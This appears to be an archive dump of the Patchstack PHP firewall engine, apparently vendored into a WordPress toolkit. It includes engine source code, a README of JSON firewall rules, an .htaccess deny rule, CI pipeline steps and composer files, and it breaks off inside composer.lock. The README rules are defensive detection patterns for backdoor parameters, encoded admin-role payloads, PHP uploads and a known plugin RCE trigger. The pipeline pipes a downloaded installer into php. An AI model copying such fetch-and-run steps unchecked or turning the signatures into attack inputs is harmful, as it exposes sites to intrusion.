'getShortcodeAtts' => [ 'args' => [], 'type' => 'is_string' ], 'getBlockAtts' => [ 'args' => [], 'type' => 'is_string' ] ]; // If it's not a whitelisted mutation, reject and return original value. foreach ($mutations as $mutation) { if (!isset($allowed[$mutation])) { return $value; } } // Apply the mutations in ascending order. try { foreach ($mutations as $mutation) { // In order to avoid errors if the wrong type of value is passed to the function. if (isset($allowed[$mutation]['type']) && !call_user_func($allowed[$mutation]['type'], $value)) { continue; } // Call the function with given arguments. if ($mutation == 'getArrayValues') { $value = $this->getArrayValues($value); } elseif ($mutation == 'getShortcodeAtts') { $value = $this->getShortcodeAtts($value); } elseif ($mutation == 'getBlockAtts') { $value = $this->getBlockAtts($value); } else { $value = call_user_func_array($mutation, array_merge([$value], $allowed[$mutation]['args'])); } // No need to continue in these scenarios. if (is_null($value) || $value === false || $value === 0) { return $value; } } } catch (\Exception $e) { return $value; } return $value; } /** * Given an array, get all parameters which match a certain wildcard. * * @param array $data * @param string $pattern * @return array */ public function getValuesByWildcard($data, $pattern) { if (!is_array($data)) { return []; } // Split the pattern into segments $segments = explode('.', $pattern); array_shift($segments); // Initialize the results $results = []; // Start with the entire data array $currentData = [$data]; // Check if the pattern ends with an asterisk and pop the last segment $endWithAsterisk = substr(end($segments), -1) === "*"; if ($endWithAsterisk) { $lastSegment = rtrim(array_pop($segments), '*'); } // Loop through each segment foreach ($segments as $segment) { $newData = []; // Check if the segment contains an asterisk if ($segment === '*') { foreach ($currentData as $dataItem) { if (is_array($dataItem)) { foreach ($dataItem as $subItem) { $newData[] = $subItem; } } } } else { // Loop through each data item foreach ($currentData as $dataItem) { // Ensure the data item is an array and contains the segment if (is_array($dataItem) && isset($dataItem[$segment])) { $newData[] = $dataItem[$segment]; } } } // Replace the current data with the new data $currentData = $newData; } if ($endWithAsterisk) { $finalData = []; foreach ($currentData as $dataItem) { if (is_array($dataItem)) { foreach ($dataItem as $key => $subItem) { if (strpos($key, $lastSegment) === 0) { $finalData[] = $subItem; } } } } $currentData = $finalData; } // Loop through the current data to fetch the results foreach ($currentData as $dataItem) { if (is_array($dataItem)) { foreach ($dataItem as $value) { $results[] = $value; } } else { $results[] = $dataItem; } } // Return the results return $results; } /** * Given an array, multi-dimensional or not, extract all of its values. * * @param array $data * @param string $glue * @param string $type * @return string|array */ public function getArrayValues($data, $glue = '&', $type = 'string') { // If we want to return a single line string. if ($type == 'string') { $ret = ''; foreach ($data as $key => $item) { if (empty($item)) { continue; } if (is_array($item)) { $ret .= $this->getArrayValues($item, $glue) . $glue; } else { $ret .= $key . '=' . $item . $glue; } } return substr($ret, 0, 0 - strlen($glue)); } // Or a single dimension array with each value its own entry. $ret = []; foreach ($data as $key => $item) { if (empty($item)) { continue; } if (is_array($item)) { $ret = array_merge($ret, $this->getArrayValues($item, $glue, 'array')); } else { $ret[] = $item; } } return $ret; } /** * Given a string, fetch all shortcodes and its attributes. * * @param string $value * @return array */ public function getShortcodeAtts($value) { // For rare cases where this may not be defined. if (!function_exists('shortcode_parse_atts')) { return []; } // The regular expression used by WordPress core to fetch shortcodes and its attributes. preg_match_all( '/\[(\[?)(.*?)(?![\w-])([^\]\/]*(?:\/(?!\])[^\]\/]*)*?)(?:(\/)\]|\](?:([^\[]*+(?:\[(?!\/\2\])[^\[]*+)*+)\[\/\2\])?)(\]?)/', $value, $shortcodes, PREG_SET_ORDER ); // No matches. if (count($shortcodes) == 0) { return []; } // Iterate through all shortcodes and fetch their attributes. $return = []; foreach ($shortcodes as $shortcode) { if (!isset($shortcode[2], $shortcode[3], $shortcode[5])) { continue; } // Merge together if the shortcode occurs more than once. if (isset($return[$shortcode[2]])) { $atts = @\shortcode_parse_atts($shortcode[3]); foreach ($atts as $key => $value) { if (isset($return[$shortcode[2]][$key])) { $return[$shortcode[2]][$key] .= $value; } else { $return[$shortcode[2]][$key] = $value; } } } else { $return[$shortcode[2]] = @\shortcode_parse_atts($shortcode[3]); } } return $return; } /** * Given a string, fetch all blocks and its attributes. * * @param string $value * @return array */ public function getBlockAtts($value) { // For rare cases where this may not be defined. if (!function_exists('parse_blocks')) { return []; } // Parse the blocks using the WordPress core function. $blocks = @\parse_blocks($value); if (count($blocks) === 0) { return []; } // Get the inner blocks recursively. $return = $this->getInnerBlocks($blocks, []); // Return the blocks. return $return; } /** * Given an array of inner blocks, fetch all of its attributes and merge together. * * @param array $innerBlocks * @return array */ private function getInnerBlocks(array $innerBlocks, array $currentBlocks) { foreach ($innerBlocks as $block) { // Essential values to have. if (!isset($block['blockName'], $block['attrs'])) { continue; } // If the block already exists, merge all the atts together. if (isset($currentBlocks[$block['blockName']])) { $currentBlocks[$block['blockName']] = $this->mergeArraysConcatenateValues($currentBlocks[$block['blockName']], $block['attrs']); } else { $currentBlocks[$block['blockName']] = $block['attrs']; } // In case the block has innerblocks, we need to fetch them all and merge them together. if (isset($block['innerBlocks']) && is_array($block['innerBlocks']) && count($block['innerBlocks']) > 0) { $currentBlocks = $this->getInnerBlocks($block['innerBlocks'], $currentBlocks); } } return $currentBlocks; } /** * Given 2 ararys, merge them together while concatenating its values. * * @param array $array1 * @param array $array2 * @return array */ public function mergeArraysConcatenateValues($array1, $array2) { if (!is_array($array1) || !is_array($array2)) { return []; } foreach ($array2 as $key => $value2) { if (array_key_exists($key, $array1)) { if (is_array($value2) && is_array($array1[$key])) { // If both values are arrays, recursively merge them $array1[$key] = $this->mergeArraysConcatenateValues($array1[$key], $value2); } else { // Concatenate values if keys are identical $array1[$key] .= $value2; } } else { // If the key doesn't exist in array1, simply add it $array1[$key] = $value2; } } return $array1; } } wp-toolkit/vendor/patchstack/engine-php/src/Response.php 0000644 00000001773 15231023503 0017431 0 ustar 00 <?php namespace Patchstack; class Response { /** * The options of the engine. * * @var array */ private $options; /** * Creates a new request instance. * * @param array $options * @return void */ public function __construct($options = []) { $this->options = $options; } /** * Perform a redirect if the request must be redirected to somewhere else. * * @param string $redirectTo * @param boolean $mustExit * @return void */ public function redirect($redirectTo = '', $mustExit = true) { // Don't redirect an invalid URL. if (!$redirectTo || filter_var($redirectTo, FILTER_VALIDATE_URL) === false) { return false; } // Perform the redirect. header('Location: ' . $redirectTo, true, 302); // In some scenarios we might want to control if the script should exit executing. if ($mustExit) { exit; } } } wp-toolkit/vendor/patchstack/engine-php/README.md 0000644 00000023770 15231023503 0015613 0 ustar 00 # Patchstack Firewall Engine # This repository contains the firewall engine of Patchstack. It can be implemented inside of other content management systems to provide firewall functionality. ## Implementation ## Implementation is simple, and examples can be seen in `/tests/FirewallTest.php` Example firewall rules can be seen in `/tests/data/Rules.json` Example whitelist rules can be seen in `/tests/data/Whitelist.json` ```php use Patchstack\Processor; use Patchstack\Extensions\WordPress\Extension; // Load the firewall rules, whitelist rules and settings from some place. $firewallRules = []; $whitelistRules = []; $settings = []; // Setup the firewall rules processor. $firewall = new Processor( new Extension(), $firewallRules, $whitelistRules, $settings ); // And launch it. If a request was a hit with a firewall rule, it will automatically stop execution. $firewall->launch(); ``` ## Functionality ## This firewall engine can parse and understand JSON based firewall rules. These JSON based firewall rules allow you to match against parameters, match against multiple conditions being true, apply mutations (e.g., JSON decode or base64 decode) to payloads and compare against output of PHP functions. For example, instead of having to write a regular expression to determine if a certain GET (query parameter) variable is a number or not to prevent SQL injection, we can simply create a firewall rule that contains the following JSON rule. ```json [ { "parameter":"get.pid", "match":{ "type":"ctype_digit", "value":false } } ] ``` In this case the firewall rule will check if the query parameter pid is set in the URL and if the return value of PHP's ctype_digit function against this parameter is false, will block the request. At the bottom of this document are more examples. ## Performance ## Of course, performance is also a concern, you don't want to slow down the sites of your users considerably due to a firewall. It's not a secret that many firewall plugins slow down the site due to unoptimized code or weird functionality of the firewall engine. We also decided to focus on performance of the new firewall engine. For example, if a rule contains a specific parameter to match against, we determine if this parameter is present first before we continue processing the firewall rule conditions. We performed a test against the firewall engine and supplied it with 100 firewall rules. Of course, in no realistic scenario would a site have to process that many firewall rules, but it gives you an idea on what the performance impact might be. Process time: PHP 5.6: 0.0020, or about 2 milliseconds PHP 7.3: 0.0013 seconds, or about 1.3 milliseconds PHP 7.4: 0.00017 seconds, or about 0.17 milliseconds PHP 8+: 0.00011 seconds, or about 0.11 milliseconds These numbers are subject to change slightly as we are still making optimizations and adjustments. However, compared to the previous PHP code-based firewall rules, it's 10 times faster. ## Extension ## The new firewall engine's library allows you to create an extension to define and override how certain functions work. The extension requires you to implement a few functions: - How requests are logged after it had matched against a firewall rule - Who can bypass the entire firewall. E.g., whitelisted user roles of WordPress - What kind of requests can bypass the entire firewall. E.g., certain keywords in the request - Determining if a visitor is blocked due to hitting X matches against a firewall rule within a certain amount of minutes - What should happen if a request has been blocked. (e.g., show a blocked page) - How the IP address of the visitor should be captured (this can greatly differ between hosts and environments). Must be handled properly or visitors can spoof their IP address through headers such as X-Forwarded-For and bypass certain restrictions. - How to determine if the current request is a file upload request You can create an extension to control how some of the functions of the firewall interact and work. ## Concerns ## A potential concern we have heard before is that because it's a PHP based firewall and integrated into WordPress, would it not miss certain vulnerabilities? That is possible, but after several years we have come to the conclusion that this only affects a very minimal number of vulnerabilities. We have to make a choice between simplicity (easy integration into WordPress vs having to do weird hacks to the webserver configuration such as Apache's auto_prepend_file which would increase load considerably as every single thing requested on the site passes through it) and coverage (which would be between 99% and 99.9%). Hooking into the *init* hook of WordPress with hook order set to *~PHP_INT_MAX* (as early as possible) is sufficient for *nearly* all vulnerabilities. ## Who do I talk to? ## * dave.jong@patchstack.com ## Rule Examples ## Below are more examples of these JSON based rules with more advanced conditions. These kind of firewall rules are also significantly easier and faster to create than regular expressions. Of course, as seen in the examples above, one rule can contain multiple rules stacked with different conditions. Check if an array ($_POST['usernames'][]) contains any values from given array. ```json [ { "parameter":"post.usernames", "match":{ "type":"array_in_array", "value":[ "test", "admin" ] } } ] ``` Check if a value ($_GET['user']) is not in an array ```json [ { "parameter":"get.user", "match":{ "type":"not_in_array", "value":[ "admin" ] } } ] ``` Check if the URL matches a regex ```json [ { "parameter":"server.REQUEST_URI", "match":{ "type":"regex", "value":"\/(\\\/something\\\/)\/msi" } } ] ``` Check if a value ($_GET['id']) is not a number or is less than 100 ```json [ { "parameter":"get.pid", "match":{ "type":"ctype_digit", "value":false } }, { "parameter":"get.pid", "match":{ "type":"less_than", "value":100 } } ] ``` Check if a query parameter (test) is present in the URL ```json [ { "parameter":"get.test", "match":{ "type":"isset" } } ] ``` Check if $_POST['backdoor'] == mybackdoor and user-agent contains some_backdoor_agent ```json [ { "parameter":"post.backdoor", "match":{ "type":"equals", "value":"mybackdoor" }, "inclusive":true }, { "parameter":"server.HTTP_USER_AGENT", "match":{ "type":"contains", "value":"some_backdoor_agent" }, "inclusive":true } ] ``` Check if $_POST['payload'] contains a base64(json()) encoded payload with user_role array key equaling to administrator ```json [ { "parameter":"post.payload", "mutations":[ "base64_decode", "json_decode" ], "match":{ "type":"array_key_value", "key":"user_role", "match":{ "type":"equals", "value":"administrator" } } } ] ``` Check if $_GET['action'] or $_POST['action'] contains a value part of an array of values AND if the user is not an administrator ```json [ { "parameter":"rules", "rules":[ { "parameter":"get.action", "match":{ "type":"in_array", "value":[ "restaurant_system_customize_button", "restaurant_system_insert_dialog" ] } }, { "parameter":"post.action", "match":{ "type":"in_array", "value":[ "restaurant_system_customize_button", "restaurant_system_insert_dialog" ] } } ], "inclusive":true }, { "parameter":false, "match":{ "type":"current_user_cannot", "value":"administrator" }, "inclusive":true } ] ``` Check if the user's IP address is in a list (e.g. whitelist) Note that the server.ip parameter is a special computed property and retrieves the IP address through the extension that is attached to the library. This IP grabbing function can be adjusted to your needs. ```json [ { "parameter":"server.ip", "match":{ "type":"in_array", "value":[ "127.0.0.1" ] } } ] ``` Check if a certain value is present anywhere in the request ($_GET, $_POST, $_SERVER['REQUEST_URI'], raw POST data) ```json [ { "parameter":"all", "mutations":[ "getArrayValues" ], "match":{ "type":"regex", "value":"\/(\\\/something\\\/)\/msi" } } ] ``` Check if an uploaded file ($_FILES['img']) contains the PHP opening tag in the contents ```json [ { "parameter":"files.img", "match":{ "type":"file_contains", "match":{ "type":"contains", "value":"<?php" } } } ] ``` Check if the swp_debug parameter is set to load_options and the current user is not an administrator. https://patchstack.com/database/vulnerability/social-warfare/wordpress-social-warfare-plugin-3-5-2-unauthenticated-remote-code-execution-rce-vulnerability ```json [ { "parameter":"get.swp_debug", "match":{ "type":"equals", "value":"load_options" }, "inclusive":true }, { "parameter":false, "match":{ "type":"current_user_cannot", "value":"administrator" }, "inclusive":true } ] ``` wp-toolkit/vendor/patchstack/engine-php/.htaccess 0000444 00000000177 15231023503 0016124 0 ustar 00 <FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch> wp-toolkit/vendor/patchstack/engine-php/bitbucket-pipelines.yml 0000644 00000002652 15231023503 0021015 0 ustar 00 pipelines: default: - parallel: - step: name: PHP 7.4 image: php:7.4 script: - apt-get update && apt-get install -qy git curl libzip-dev zip - docker-php-ext-install zip - curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer - composer install --ignore-platform-reqs - ./vendor/bin/phpunit tests caches: - composer - step: name: PHP 8.0 image: php:8.0 script: - apt-get update && apt-get install -qy git curl libzip-dev zip - docker-php-ext-install zip - curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer - composer install --ignore-platform-reqs - ./vendor/bin/phpunit tests caches: - composer - step: name: PHP 8.1 image: php:8.1 script: - apt-get update && apt-get install -qy git curl libzip-dev zip - docker-php-ext-install zip - curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer - composer install --ignore-platform-reqs - ./vendor/bin/phpunit tests caches: - composer wp-toolkit/vendor/patchstack/engine-php/composer.json 0000644 00000000727 15231023503 0017053 0 ustar 00 { "name": "patchstack/engine-php", "description": "The firewall engine of Patchstack.", "type": "library", "require": { "php": ">=5.6" }, "license": "Apache-2.0", "autoload": { "psr-4": { "Patchstack\\": "src/" } }, "authors": [ { "name": "Patchstack", "email": "support@patchstack.com" } ], "require-dev": { "phpunit/phpunit": "^9.5" } } wp-toolkit/vendor/patchstack/engine-php/composer.lock 0000644 00000172570 15231023503 0017040 0 ustar 00 { "_readme": [ "This file locks the dependencies of your project to a known state", "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], "content-hash": "dbd0db790100136a9deb8350545ecc48", "packages": [], "packages-dev": [ { "name": "doctrine/instantiator", "version": "1.4.1", "source": { "type": "git", "url": "https://github.com/doctrine/instantiator.git", "reference": "10dcfce151b967d20fde1b34ae6640712c3891bc" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/doctrine/instantiator/zipball/10dcfce151b967d20fde1b34ae6640712c3891bc", "reference": "10dcfce151b967d20fde1b34ae6640712c3891bc", "shasum": "" }, "require": { "php": "^7.1 || ^8.0" }, "require-dev": { "doctrine/coding-standard": "^9", "ext-pdo": "*", "ext-phar": "*", "phpbench/phpbench": "^0.16 || ^1", "phpstan/phpstan": "^1.4", "phpstan/phpstan-phpunit": "^1", "phpunit/phpunit": "^7.5 || ^8.5 || ^9.5", "vimeo/psalm": "^4.22" }, "type": "library", "autoload": { "psr-4": { "Doctrine\\Instantiator\\": "src/Doctrine/Instantiator/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Marco Pivetta", "email": "ocramius@gmail.com", "homepage": "https://ocramius.github.io/" } ], "description": "A small, lightweight utility to instantiate objects in PHP without invoking their constructors", "homepage": "https://www.doctrine-project.org/projects/instantiator.html", "keywords": [ "constructor", "instantiate" ], "support": { "issues": "https://github.com/doctrine/instantiator/issues", "source": "https://github.com/doctrine/instantiator/tree/1.4.1" }, "funding": [ { "url": "https://www.doctrine-project.org/sponsorship.html", "type": "custom" }, { "url": "https://www.patreon.com/phpdoctrine", "type": "patreon" }, { "url": "https://tidelift.com/funding/github/packagist/doctrine%2Finstantiator", "type": "tidelift" } ], "time": "2022-03-03T08:28:38+00:00" }, { "name": "myclabs/deep-copy", "version": "1.11.0", "source": { "type": "git", "url": "https://github.com/myclabs/DeepCopy.git", "reference": "14daed4296fae74d9e3201d2c4925d1acb7aa614" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/myclabs/DeepCopy/zipball/14daed4296fae74d9e3201d2c4925d1acb7aa614", "reference": "14daed4296fae74d9e3201d2c4925d1acb7aa614", "shasum": "" }, "require": { "php": "^7.1 || ^8.0" }, "conflict": { "doctrine/collections": "<1.6.8", "doctrine/common": "<2.13.3 || >=3,<3.2.2" }, "require-dev": { "doctrine/collections": "^1.6.8", "doctrine/common": "^2.13.3 || ^3.2.2", "phpunit/phpunit": "^7.5.20 || ^8.5.23 || ^9.5.13" }, "type": "library", "autoload": { "files": [ "src/DeepCopy/deep_copy.php" ], "psr-4": { "DeepCopy\\": "src/DeepCopy/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "description": "Create deep copies (clones) of your objects", "keywords": [ "clone", "copy", "duplicate", "object", "object graph" ], "support": { "issues": "https://github.com/myclabs/DeepCopy/issues", "source": "https://github.com/myclabs/DeepCopy/tree/1.11.0" }, "funding": [ { "url": "https://tidelift.com/funding/github/packagist/myclabs/deep-copy", "type": "tidelift" } ], "time": "2022-03-03T13:19:32+00:00" }, { "name": "nikic/php-parser", "version": "v4.15.1", "source": { "type": "git", "url": "https://github.com/nikic/PHP-Parser.git", "reference": "0ef6c55a3f47f89d7a374e6f835197a0b5fcf900" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/nikic/PHP-Parser/zipball/0ef6c55a3f47f89d7a374e6f835197a0b5fcf900", "reference": "0ef6c55a3f47f89d7a374e6f835197a0b5fcf900", "shasum": "" }, "require": { "ext-tokenizer": "*", "php": ">=7.0" }, "require-dev": { "ircmaxell/php-yacc": "^0.0.7", "phpunit/phpunit": "^6.5 || ^7.0 || ^8.0 || ^9.0" }, "bin": [ "bin/php-parse" ], "type": "library", "extra": { "branch-alias": { "dev-master": "4.9-dev" } }, "autoload": { "psr-4": { "PhpParser\\": "lib/PhpParser" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Nikita Popov" } ], "description": "A PHP parser written in PHP", "keywords": [ "parser", "php" ], "support": { "issues": "https://github.com/nikic/PHP-Parser/issues", "source": "https://github.com/nikic/PHP-Parser/tree/v4.15.1" }, "time": "2022-09-04T07:30:47+00:00" }, { "name": "phar-io/manifest", "version": "2.0.3", "source": { "type": "git", "url": "https://github.com/phar-io/manifest.git", "reference": "97803eca37d319dfa7826cc2437fc020857acb53" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/phar-io/manifest/zipball/97803eca37d319dfa7826cc2437fc020857acb53", "reference": "97803eca37d319dfa7826cc2437fc020857acb53", "shasum": "" }, "require": { "ext-dom": "*", "ext-phar": "*", "ext-xmlwriter": "*", "phar-io/version": "^3.0.1", "php": "^7.2 || ^8.0" }, "type": "library", "extra": { "branch-alias": { "dev-master": "2.0.x-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Arne Blankerts", "email": "arne@blankerts.de", "role": "Developer" }, { "name": "Sebastian Heuer", "email": "sebastian@phpeople.de", "role": "Developer" }, { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "Developer" } ], "description": "Component for reading phar.io manifest information from a PHP Archive (PHAR)", "support": { "issues": "https://github.com/phar-io/manifest/issues", "source": "https://github.com/phar-io/manifest/tree/2.0.3" }, "time": "2021-07-20T11:28:43+00:00" }, { "name": "phar-io/version", "version": "3.2.1", "source": { "type": "git", "url": "https://github.com/phar-io/version.git", "reference": "4f7fd7836c6f332bb2933569e566a0d6c4cbed74" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/phar-io/version/zipball/4f7fd7836c6f332bb2933569e566a0d6c4cbed74", "reference": "4f7fd7836c6f332bb2933569e566a0d6c4cbed74", "shasum": "" }, "require": { "php": "^7.2 || ^8.0" }, "type": "library", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Arne Blankerts", "email": "arne@blankerts.de", "role": "Developer" }, { "name": "Sebastian Heuer", "email": "sebastian@phpeople.de", "role": "Developer" }, { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "Developer" } ], "description": "Library for handling version information and constraints", "support": { "issues": "https://github.com/phar-io/version/issues", "source": "https://github.com/phar-io/version/tree/3.2.1" }, "time": "2022-02-21T01:04:05+00:00" }, { "name": "phpunit/php-code-coverage", "version": "9.2.17", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/php-code-coverage.git", "reference": "aa94dc41e8661fe90c7316849907cba3007b10d8" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/php-code-coverage/zipball/aa94dc41e8661fe90c7316849907cba3007b10d8", "reference": "aa94dc41e8661fe90c7316849907cba3007b10d8", "shasum": "" }, "require": { "ext-dom": "*", "ext-libxml": "*", "ext-xmlwriter": "*", "nikic/php-parser": "^4.14", "php": ">=7.3", "phpunit/php-file-iterator": "^3.0.3", "phpunit/php-text-template": "^2.0.2", "sebastian/code-unit-reverse-lookup": "^2.0.2", "sebastian/complexity": "^2.0", "sebastian/environment": "^5.1.2", "sebastian/lines-of-code": "^1.0.3", "sebastian/version": "^3.0.1", "theseer/tokenizer": "^1.2.0" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "suggest": { "ext-pcov": "*", "ext-xdebug": "*" }, "type": "library", "extra": { "branch-alias": { "dev-master": "9.2-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Library that provides collection, processing, and rendering functionality for PHP code coverage information.", "homepage": "https://github.com/sebastianbergmann/php-code-coverage", "keywords": [ "coverage", "testing", "xunit" ], "support": { "issues": "https://github.com/sebastianbergmann/php-code-coverage/issues", "source": "https://github.com/sebastianbergmann/php-code-coverage/tree/9.2.17" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2022-08-30T12:24:04+00:00" }, { "name": "phpunit/php-file-iterator", "version": "3.0.6", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/php-file-iterator.git", "reference": "cf1c2e7c203ac650e352f4cc675a7021e7d1b3cf" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/php-file-iterator/zipball/cf1c2e7c203ac650e352f4cc675a7021e7d1b3cf", "reference": "cf1c2e7c203ac650e352f4cc675a7021e7d1b3cf", "shasum": "" }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "type": "library", "extra": { "branch-alias": { "dev-master": "3.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "FilterIterator implementation that filters files based on a list of suffixes.", "homepage": "https://github.com/sebastianbergmann/php-file-iterator/", "keywords": [ "filesystem", "iterator" ], "support": { "issues": "https://github.com/sebastianbergmann/php-file-iterator/issues", "source": "https://github.com/sebastianbergmann/php-file-iterator/tree/3.0.6" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2021-12-02T12:48:52+00:00" }, { "name": "phpunit/php-invoker", "version": "3.1.1", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/php-invoker.git", "reference": "5a10147d0aaf65b58940a0b72f71c9ac0423cc67" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/php-invoker/zipball/5a10147d0aaf65b58940a0b72f71c9ac0423cc67", "reference": "5a10147d0aaf65b58940a0b72f71c9ac0423cc67", "shasum": "" }, "require": { "php": ">=7.3" }, "require-dev": { "ext-pcntl": "*", "phpunit/phpunit": "^9.3" }, "suggest": { "ext-pcntl": "*" }, "type": "library", "extra": { "branch-alias": { "dev-master": "3.1-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Invoke callables with a timeout", "homepage": "https://github.com/sebastianbergmann/php-invoker/", "keywords": [ "process" ], "support": { "issues": "https://github.com/sebastianbergmann/php-invoker/issues", "source": "https://github.com/sebastianbergmann/php-invoker/tree/3.1.1" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2020-09-28T05:58:55+00:00" }, { "name": "phpunit/php-text-template", "version": "2.0.4", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/php-text-template.git", "reference": "5da5f67fc95621df9ff4c4e5a84d6a8a2acf7c28" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/php-text-template/zipball/5da5f67fc95621df9ff4c4e5a84d6a8a2acf7c28", "reference": "5da5f67fc95621df9ff4c4e5a84d6a8a2acf7c28", "shasum": "" }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "type": "library", "extra": { "branch-alias": { "dev-master": "2.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Simple template engine.", "homepage": "https://github.com/sebastianbergmann/php-text-template/", "keywords": [ "template" ], "support": { "issues": "https://github.com/sebastianbergmann/php-text-template/issues", "source": "https://github.com/sebastianbergmann/php-text-template/tree/2.0.4" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2020-10-26T05:33:50+00:00" }, { "name": "phpunit/php-timer", "version": "5.0.3", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/php-timer.git", "reference": "5a63ce20ed1b5bf577850e2c4e87f4aa902afbd2" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/php-timer/zipball/5a63ce20ed1b5bf577850e2c4e87f4aa902afbd2", "reference": "5a63ce20ed1b5bf577850e2c4e87f4aa902afbd2", "shasum": "" }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "type": "library", "extra": { "branch-alias": { "dev-master": "5.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Utility class for timing", "homepage": "https://github.com/sebastianbergmann/php-timer/", "keywords": [ "timer" ], "support": { "issues": "https://github.com/sebastianbergmann/php-timer/issues", "source": "https://github.com/sebastianbergmann/php-timer/tree/5.0.3" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2020-10-26T13:16:10+00:00" }, { "name": "phpunit/phpunit", "version": "9.5.25", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/phpunit.git", "reference": "3e6f90ca7e3d02025b1d147bd8d4a89fd4ca8a1d" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/3e6f90ca7e3d02025b1d147bd8d4a89fd4ca8a1d", "reference": "3e6f90ca7e3d02025b1d147bd8d4a89fd4ca8a1d", "shasum": "" }, "require": { "doctrine/instantiator": "^1.3.1", "ext-dom": "*", "ext-json": "*", "ext-libxml": "*", "ext-mbstring": "*", "ext-xml": "*", "ext-xmlwriter": "*", "myclabs/deep-copy": "^1.10.1", "phar-io/manifest": "^2.0.3", "phar-io/version": "^3.0.2", "php": ">=7.3", "phpunit/php-code-coverage": "^9.2.13", "phpunit/php-file-iterator": "^3.0.5", "phpunit/php-invoker": "^3.1.1", "phpunit/php-text-template": "^2.0.3", "phpunit/php-timer": "^5.0.2", "sebastian/cli-parser": "^1.0.1", "sebastian/code-unit": "^1.0.6", "sebastian/comparator": "^4.0.8", "sebastian/diff": "^4.0.3", "sebastian/environment": "^5.1.3", "sebastian/exporter": "^4.0.5", "sebastian/global-state": "^5.0.1", "sebastian/object-enumerator": "^4.0.3", "sebastian/resource-operations": "^3.0.3", "sebastian/type": "^3.2", "sebastian/version": "^3.0.2" }, "suggest": { "ext-soap": "*", "ext-xdebug": "*" }, "bin": [ "phpunit" ], "type": "library", "extra": { "branch-alias": { "dev-master": "9.5-dev" } }, "autoload": { "files": [ "src/Framework/Assert/Functions.php" ], "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "The PHP Unit Testing framework.", "homepage": "https://phpunit.de/", "keywords": [ "phpunit", "testing", "xunit" ], "support": { "issues": "https://github.com/sebastianbergmann/phpunit/issues", "source": "https://github.com/sebastianbergmann/phpunit/tree/9.5.25" }, "funding": [ { "url": "https://phpunit.de/sponsors.html", "type": "custom" }, { "url": "https://github.com/sebastianbergmann", "type": "github" }, { "url": "https://tidelift.com/funding/github/packagist/phpunit/phpunit", "type": "tidelift" } ], "time": "2022-09-25T03:44:45+00:00" }, { "name": "sebastian/cli-parser", "version": "1.0.1", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/cli-parser.git", "reference": "442e7c7e687e42adc03470c7b668bc4b2402c0b2" }, "dist": { "type": 